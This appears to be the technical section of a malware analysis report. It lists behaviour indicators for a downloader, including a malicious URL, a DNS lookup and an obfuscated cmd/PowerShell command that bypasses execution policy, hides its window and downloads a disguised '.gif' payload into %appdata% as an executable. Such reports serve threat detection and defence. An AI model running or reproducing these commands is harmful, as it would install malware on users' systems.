Technical Information
- http://www.goodvoperf.top/read.php?f=1.gif as %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "PoWErShEll.EXe -exeCutiONpOlICY bYpaSs -NOPROfILE -wiNDoWSTYLe HidDEn (NeW-objECt sYstEM.nEt.wEbClIENT).dOwnLoadFIle('http://www.goodvoperf.top/read.php?f=1.gif','%aPPdATA%.eXe'...
- DNS ASK go###operf.top
- '<SYSTEM32>\cmd.exe' /C "PoWErShEll.EXe -exeCutiONpOlICY bYpaSs -NOPROfILE -wiNDoWSTYLe HidDEn (NeW-objECt sYstEM.nEt.wEbClIENT).dOwnLoadFIle('http://www.goodvoperf.top/read.php?f=1.gif','%aPPdATA%.eXe'...' (with hidden window)